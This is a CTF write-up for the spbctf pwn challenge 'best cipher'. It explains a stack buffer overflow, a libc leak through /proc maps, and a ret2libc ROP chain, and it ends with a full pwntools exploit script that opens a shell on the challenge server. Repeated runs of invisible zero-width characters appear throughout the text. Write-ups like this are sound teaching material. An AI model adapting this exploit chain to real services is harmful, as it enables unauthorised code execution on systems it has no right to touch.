← Back to Writeups
CUSTOMMediumpwn

best cipher

XESXOR9/2/20266 min read
#pwn#custom#medium#empirical_offset_probing#movaps_stack_alignment#proc_maps_libc_leak#ret2libc#rop_chain#stack_buffer_overflow#linux

best cipher

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: empirical_offset_probing, movaps_stack_alignment, proc_maps_libc_leak, ret2libc, rop_chain, stack_buffer_overflow

Summary

Task: x86-64 pwn binary (no canary, NX, no PIE) with a classic stack overflow via read(0,buf,0x80) into a 64-byte buffer; the program prints /proc/$PPID/maps at startup, leaking libc base for free. Solution: ret2libc chain — empirically found RIP offset = 56 (not the naive 72) and added two alignment ret gadgets to satisfy glibc 2.31 system()'s movaps 16-byte alignment.

best cipher — spbctf

Description

The best cipher ever. No vulns. No problems. No safety. nc 109.233.56.90 11701

Server-side path hint: ret2libc_encoder. Provided files: best_cipher.elf, libc-2.31.so.

The title/description are a semantic pun: the "best cipher" is a single-byte XOR with 0x37, reflected in the flag spbctf{REDACTED} ("xor is the best cipher yeah"). The XOR "cipher" is a red herring — the actual bug is a textbook stack buffer overflow.

Analysis

Protections

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

No canary + no PIE means a straightforward overwrite of the saved return address with fixed, hard-coded binary gadget addresses. system@plt is present in the binary, and libc-2.31.so is provided.

The free libc leak — show_memory()

main calls show_memory() before anything else. That function literally runs system("cat /proc/$PPID/maps"), dumping the full process memory map to the client on every connection — no format-string leak, no info-leak primitive needed. The libc base falls out of the first /libc-2.31.so mapping line. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

asm
00000000004011b2 <show_memory>:
  4011b2:  push   rbp
  4011b3:  mov    rbp, rsp
  4011b6:  lea    rdi, [rip+0xe4b]        # "MEMORY SEGMENTS" banner
  4011bd:  call   puts@plt
  4011c2:  lea    rdi, [rip+0xead]        # 0x402076: "cat /proc/$PPID/maps"
  4011c9:  call   system@plt             # <-- prints the memory map to us
  4011ce:  lea    rdi, [rip+0xebb]
  4011d5:  call   puts@plt
  4011da:  nop
  4011db:  pop    rbp
  4011dc:  ret

The overflow — main

asm
00000000004012fb <main>:
  4012fb:  push   rbp
  4012fc:  mov    rbp, rsp
  4012ff:  sub    rsp, 0x50
  401308:  call   0x4011b2 <show_memory>       # leaks libc via /proc maps
  ...
  40131e:  lea    rax, [rbp-0x44]              # scanf reads choice here
  401331:  call   __isoc99_scanf@plt           # "%d" -> [rbp-0x44]
  ...
  40134d:  lea    rax, [rip-0x177]            # encode
  401354:  mov    qword [rbp-0x8], rax         # choice 1 -> fn ptr = encode
  ...
  401362:  lea    rax, [rip-0xfd]             # decode
  401369:  mov    qword [rbp-0x8], rax         # choice 2 -> fn ptr = decode
  ...
  401396:  lea    rax, [rbp-0x40]             # buf = [rbp-0x40] (64-byte buffer)
  40139a:  mov    edx, 0x80                    # length = 0x80 = 128
  40139f:  mov    rsi, rax
  4013a2:  mov    edi, 0x0
  4013a7:  call   read@plt                     # read(0, buf, 0x80) -> BOF
  ...
  4013bb:  lea    rax, [rbp-0x40]
  4013bf:  mov    rdx, qword [rbp-0x8]         # rdx = chosen encode/decode fn
  4013c3:  mov    rdi, rax                      # rdi = buf
  4013c6:  call   rdx                           # call encode/decode(buf)
  4013c8:  mov    eax, 0x0
  4013cd:  leave
  4013ce:  ret                                  # <-- hijacked return

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read(0, [rbp-0x40], 0x80) reads 128 bytes into a 64-byte buffer, so the saved RBP and return address are fully controllable.

The "cipher" — encode/decode

asm
  401216:  movzx  eax, byte [rax]
  401219:  xor    eax, 0x37                    # XOR each byte with 0x37
  40121c:  movsx  eax, al
  40121f:  mov    edi, eax
  401221:  call   putchar@plt                  # print, buffer NOT modified

encode/decode XOR each byte with 0x37 in a register and putchar it. The buffer on the stack is never mutated, so it does not disturb our ROP payload. This is purely the title's pun. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — parse libc base from the leaked /proc/$PPID/maps

Match the first read-only libc mapping:

regex: ([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so

Step 2 — resolve system and /bin/sh

For glibc 2.31: system at offset 0x48f20, /bin/sh at 0x18a156 (via pwntools libc.sym / libc.search).

Step 3 — send choice 1, then the overflow ROP chain

payload = b'A'*56 + p64(RET)*2 + p64(POP_RDI) + p64(binsh) + p64(system)

Critical subtlety 1 — RIP offset is 56, NOT 72

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Naive frame arithmetic (buffer at [rbp-0x40] → 0x40 to reach saved RBP, +8 for the return address = 72) is wrong here. The offset was determined empirically by placing a known target — the address of show_memory (0x4011b2) — at various offsets and observing behavior:

  • offset 40 / 48 → landed inside earlier main code, no clean re-entry
  • offset 56 → cleanly re-executed show_memory and reprinted the "MEMORY SEGMENTS" banner ⇒ this is the real saved-return-address slot
  • offset 64 / 72 → segfault ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lesson: on a small function whose prologue/epilogue you have not fully modeled, do not trust bufsize + 8. Probe with a function that produces observable output (here, the memory-map banner) and find the offset that cleanly transfers control.

Critical subtlety 2 — glibc 2.31 system() movaps alignment

glibc system() uses movaps in its prologue, which faults unless RSP is 16-byte aligned at the call. The alignment parity was found by scanning the number N of extra bare ret gadgets inserted before pop rdi: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • N = 0 → SEGV (misaligned, movaps fault)
  • N = 1 → SEGV
  • N = 2 → SHELL
  • N = 3 → SHELL

So two padding ret gadgets are required (N even ⇒ aligned given this offset/parity).

Gadgets (no-PIE, fixed addresses)

  • pop rdi ; ret @ 0x40148b — bytes 5f c3
  • ret @ 0x40148c — byte c3

Note: pop rdi;ret is hidden inside the __libc_csu_init register-restore tail. objdump's default disassembly aligns it as 41 5f (pop r15) at 0x40148a, masking the standalone pop rdi at 0x40148b. Verify the raw bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

40148a:  41 5f     pop r15      # objdump alignment
40148b:      5f     pop rdi     # <-- real gadget starts here
40148c:      c3     ret

Solve script

python
#!/usr/bin/env python3
# spbctf - best cipher (ret2libc_encoder)
# Stack BOF in main's read(0,buf,0x80) into buf[rbp-0x40].
# show_memory() prints /proc/$PPID/maps at startup -> free libc leak.
# RIP control offset = 56. system() needs 2x extra RET for movaps alignment.
from pwn import *
import re, time

context.arch = 'amd64'
libc = ELF('libc-2.31.so', checksec=False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POP_RDI = 0x40148b   # pop rdi ; ret
RET     = 0x40148c   # ret (alignment)
OFFSET  = 56

io = remote('109.233.56.90', 11701)

data = b''
while b'Choose what to do' not in data:
    data += io.recv(timeout=5)

base = int(re.search(rb'([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so', data).group(1), 16)
log.success(f'libc base = {hex(base)}')

system = base + libc.sym['system']
binsh  = base + next(libc.search(b'/bin/sh'))

io.send(b'1\n')
io.recvuntil(b'Enter string to encode/decode:')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

payload = b'A'*OFFSET + p64(RET)*2 + p64(POP_RDI) + p64(binsh) + p64(system)
io.send(payload)

time.sleep(7)
io.sendline(b'cat /flag.txt')
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍